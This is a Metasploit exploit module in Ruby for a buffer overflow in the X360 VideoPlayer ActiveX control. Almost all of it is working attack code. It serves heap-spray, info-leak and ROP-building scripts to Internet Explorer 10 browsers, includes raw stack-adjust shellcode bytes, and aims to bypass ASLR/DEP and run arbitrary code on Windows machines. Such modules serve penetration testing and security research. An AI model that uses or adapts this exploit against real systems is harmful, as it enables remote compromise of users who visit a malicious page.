X360 VideoPlayer – ActiveX Control Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "X360 VideoPlayer ActiveX Control Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow in the VideoPlayer.ocx ActiveX installed with the X360 Software. By setting an overly long value to 'ConvertFile()',an attacker can overrun a .data buffer to bypass ASLR/DEP and finally execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Rh0', # vulnerability discovery and exploit, all the hard work 'juan vazquez' # msf module ], 'References' => [ ['EDB', '35948'], ['URL', 'https://rh0dev.github.io/blog/2015/fun-with-info-leaks/'] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'PrependEncoder' => stack_adjust }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}", :os_name => OperatingSystems::Match::WINDOWS, :ua_name => Msf::HttpClients::IE, :ua_ver => '10.0' }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Jan 30 2015", 'DefaultTarget' => 0)) end def stack_adjust adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset adjust end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") case request.uri when /exploit.js/ print_status("Sending exploit.js...") headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} send_exploit_html(cli, exploit_template(cli, target_info), headers) when /sprayer.js/ print_status("Sending sprayer.js...") headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} send_exploit_html(cli, sprayer_template(cli, target_info), headers) when /informer.js/ print_status("Sending informer.js...") headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} send_exploit_html(cli, informer_template(cli, target_info), headers) when /rop_builder.js/ print_status("Sending rop_builder.js...") headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} send_exploit_html(cli, rop_builder_template(cli, target_info), headers) else print_status("Sending main.html...") headers = {'Pragma' => 'no-cache', 'Content-Type'=>'text/html'} send_exploit_html(cli, main_template(cli, target_info), headers) end end def main_template(cli, target_info) path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'main.html') template = '' File.open(path, 'rb') { |f| template = strip_comments(f.read) } return template, binding() end def exploit_template(cli, target_info) shellcode = Rex::Text.to_hex(get_payload(cli, target_info)) path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'exploit.js') template = '' File.open(path, 'rb') { |f| template = strip_comments(f.read) } return template, binding() end def sprayer_template(cli, target_info) path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'sprayer.js') template = '' File.open(path, 'rb') { |f| template = strip_comments(f.read) } return template, binding() end def informer_template(cli, target_info) path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'informer.js') template = '' File.open(path, 'rb') { |f| template = strip_comments(f.read) } return template, binding() end def rop_builder_template(cli, target_info) path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'rop_builder.js') template = '' File.open(path, 'rb') { |f| template = strip_comments(f.read) } return template, binding() end def strip_comments(input) input.gsub(/\/\/.*$/, '') end end |